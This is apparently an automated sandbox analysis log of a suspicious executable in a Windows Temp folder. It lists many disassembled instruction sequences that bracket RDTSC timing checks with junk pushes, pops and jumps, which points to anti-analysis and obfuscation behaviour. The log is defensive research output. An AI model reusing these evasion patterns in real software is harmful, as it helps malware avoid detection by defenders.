Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5280E7C second address: 5280EBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A74h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F099D172A6Bh 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F099D172A75h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5280EBA second address: 5280ED2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 mov edx, 1366B6AEh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov edi, ecx 0x00000014 mov di, si 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5280ED2 second address: 5280ED7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B0051 second address: 52B0057 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B0057 second address: 52B005B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B005B second address: 52B005F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B005F second address: 52B0092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F099D172A79h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F099D172A6Dh 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B0092 second address: 52B00DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 mov edi, 4DD8ECCEh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov edi, esi 0x00000011 pushfd 0x00000012 jmp 00007F099C53410Ch 0x00000017 sub ah, 00000018h 0x0000001a jmp 00007F099C53410Bh 0x0000001f popfd 0x00000020 popad 0x00000021 mov dword ptr [esp], ecx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F099C534115h 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B00DA second address: 52B00E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B00E0 second address: 52B00E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B00E4 second address: 52B0120 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [774365FCh] 0x00000010 pushad 0x00000011 push esi 0x00000012 mov cx, dx 0x00000015 pop ebx 0x00000016 push ecx 0x00000017 movsx ebx, si 0x0000001a pop esi 0x0000001b popad 0x0000001c test eax, eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F099D172A6Eh 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B0120 second address: 52B015F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 6F0FECE4h 0x00000008 push ebx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d je 00007F0A0E63793Fh 0x00000013 pushad 0x00000014 mov eax, edx 0x00000016 mov ebx, 21BA5714h 0x0000001b popad 0x0000001c mov ecx, eax 0x0000001e jmp 00007F099C534113h 0x00000023 xor eax, dword ptr [ebp+08h] 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 mov eax, 1B079B47h 0x0000002e pushad 0x0000002f popad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B015F second address: 52B0179 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F099D172A76h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B0179 second address: 52B017D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B017D second address: 52B01BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and ecx, 1Fh 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movzx eax, bx 0x00000011 pushfd 0x00000012 jmp 00007F099D172A75h 0x00000017 and si, B946h 0x0000001c jmp 00007F099D172A71h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B01BC second address: 52B01C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B01C2 second address: 52B01C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B01C6 second address: 52B01CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B01CA second address: 52B0229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ror eax, cl 0x0000000a pushad 0x0000000b movsx edi, cx 0x0000000e pushfd 0x0000000f jmp 00007F099D172A6Eh 0x00000014 sub al, 00000018h 0x00000017 jmp 00007F099D172A6Bh 0x0000001c popfd 0x0000001d popad 0x0000001e leave 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F099D172A6Bh 0x00000028 and ch, FFFFFFDEh 0x0000002b jmp 00007F099D172A79h 0x00000030 popfd 0x00000031 mov ax, 60A7h 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B0229 second address: 52B022F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B022F second address: 52B028F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c mov esi, eax 0x0000000e lea eax, dword ptr [ebp-08h] 0x00000011 xor esi, dword ptr [00C62014h] 0x00000017 push eax 0x00000018 push eax 0x00000019 push eax 0x0000001a lea eax, dword ptr [ebp-10h] 0x0000001d push eax 0x0000001e call 00007F09A1802BE0h 0x00000023 push FFFFFFFEh 0x00000025 jmp 00007F099D172A6Bh 0x0000002a pop eax 0x0000002b jmp 00007F099D172A76h 0x00000030 ret 0x00000031 nop 0x00000032 push eax 0x00000033 call 00007F09A1802BFEh 0x00000038 mov edi, edi 0x0000003a jmp 00007F099D172A70h 0x0000003f xchg eax, ebp 0x00000040 pushad 0x00000041 mov bx, cx 0x00000044 mov edi, eax 0x00000046 popad 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F099D172A71h 0x00000051 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B028F second address: 52B02A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099C534111h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B02A4 second address: 52B02D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F099D172A78h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B02D6 second address: 52B02DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B02DA second address: 52B02E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B02E0 second address: 52B02E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52B02E6 second address: 52B02EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5260010 second address: 5260016 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5260016 second address: 526001C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 526001C second address: 5260020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5260020 second address: 5260056 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F099D172A71h 0x00000012 xor ah, FFFFFFF6h 0x00000015 jmp 00007F099D172A71h 0x0000001a popfd 0x0000001b mov dl, ah 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5260056 second address: 526005C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 526005C second address: 526010A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F099D172A6Bh 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F099D172A74h 0x00000016 or eax, 43AD1078h 0x0000001c jmp 00007F099D172A6Bh 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007F099D172A78h 0x00000028 add eax, 213A2AD8h 0x0000002e jmp 00007F099D172A6Bh 0x00000033 popfd 0x00000034 popad 0x00000035 mov ebp, esp 0x00000037 jmp 00007F099D172A76h 0x0000003c and esp, FFFFFFF8h 0x0000003f jmp 00007F099D172A70h 0x00000044 xchg eax, ecx 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F099D172A77h 0x0000004c rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 526010A second address: 5260110 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5260110 second address: 5260114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5260114 second address: 5260118 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5260118 second address: 5260130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F099D172A6Dh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5260130 second address: 526017B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F099C534117h 0x00000009 or ecx, 2AB2B5BEh 0x0000000f jmp 00007F099C534119h 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov ecx, edx 0x00000020 mov dx, FEB8h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 526017B second address: 526018C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F099D172A6Dh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 526018C second address: 52601E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F099C534118h 0x00000010 and cl, 00000048h 0x00000013 jmp 00007F099C53410Bh 0x00000018 popfd 0x00000019 jmp 00007F099C534118h 0x0000001e popad 0x0000001f mov dword ptr [esp], ebx 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 mov bx, cx 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52601E0 second address: 5260207 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 6EA5FD9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F099D172A74h 0x0000000e popad 0x0000000f mov ebx, dword ptr [ebp+10h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5260207 second address: 5260224 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099C534119h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5260224 second address: 526022A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 526022A second address: 526022E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 526022E second address: 5260319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a mov bl, ch 0x0000000c jmp 00007F099D172A77h 0x00000011 popad 0x00000012 mov dword ptr [esp], esi 0x00000015 jmp 00007F099D172A76h 0x0000001a mov esi, dword ptr [ebp+08h] 0x0000001d pushad 0x0000001e jmp 00007F099D172A6Eh 0x00000023 mov ch, 20h 0x00000025 popad 0x00000026 push ecx 0x00000027 pushad 0x00000028 jmp 00007F099D172A78h 0x0000002d jmp 00007F099D172A72h 0x00000032 popad 0x00000033 mov dword ptr [esp], edi 0x00000036 jmp 00007F099D172A70h 0x0000003b test esi, esi 0x0000003d jmp 00007F099D172A70h 0x00000042 je 00007F0A0F2C0DA9h 0x00000048 jmp 00007F099D172A70h 0x0000004d cmp dword ptr [esi+08h], DDEEDDEEh 0x00000054 jmp 00007F099D172A70h 0x00000059 je 00007F0A0F2C0D92h 0x0000005f pushad 0x00000060 mov al, bh 0x00000062 popad 0x00000063 mov edx, dword ptr [esi+44h] 0x00000066 push eax 0x00000067 push edx 0x00000068 jmp 00007F099D172A6Bh 0x0000006d rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5260319 second address: 526031E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 526031E second address: 5260335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 or edx, dword ptr [ebp+0Ch] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F099D172A6Ah 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5260335 second address: 526039A instructions: 0x00000000 rdtsc 0x00000002 mov ch, D7h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 mov dl, al 0x00000009 pop ebx 0x0000000a popad 0x0000000b test edx, 61000000h 0x00000011 pushad 0x00000012 mov si, FB67h 0x00000016 movzx ecx, bx 0x00000019 popad 0x0000001a jne 00007F0A0E68243Fh 0x00000020 jmp 00007F099C53410Fh 0x00000025 test byte ptr [esi+48h], 00000001h 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F099C53410Bh 0x00000032 sbb esi, 311A865Eh 0x00000038 jmp 00007F099C534119h 0x0000003d popfd 0x0000003e mov dh, ah 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 526039A second address: 52603A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250778 second address: 525077E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 525077E second address: 52507C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F099D172A79h 0x00000009 sub cx, DBB6h 0x0000000e jmp 00007F099D172A71h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 and esp, FFFFFFF8h 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F099D172A6Dh 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52507C7 second address: 5250801 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F099C534117h 0x00000008 pop esi 0x00000009 mov ecx, ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f jmp 00007F099C534110h 0x00000014 mov dword ptr [esp], ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250801 second address: 5250807 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250807 second address: 5250816 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F099C53410Bh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250816 second address: 5250855 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007F099D172A6Eh 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F099D172A6Eh 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250855 second address: 525085B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 525085B second address: 525085F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 525085F second address: 5250863 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250863 second address: 5250872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250872 second address: 5250876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250876 second address: 5250888 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250888 second address: 525088E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 525088E second address: 5250892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250892 second address: 52508D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099C53410Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+08h] 0x0000000e jmp 00007F099C53410Eh 0x00000013 sub ebx, ebx 0x00000015 jmp 00007F099C534111h 0x0000001a test esi, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52508D1 second address: 52508E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52508E4 second address: 5250936 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F099C53410Fh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F0A0E689B9Bh 0x00000011 pushad 0x00000012 mov bh, B8h 0x00000014 jmp 00007F099C53410Ch 0x00000019 popad 0x0000001a cmp dword ptr [esi+08h], DDEEDDEEh 0x00000021 jmp 00007F099C534110h 0x00000026 mov ecx, esi 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F099C53410Ah 0x00000031 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250936 second address: 5250945 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
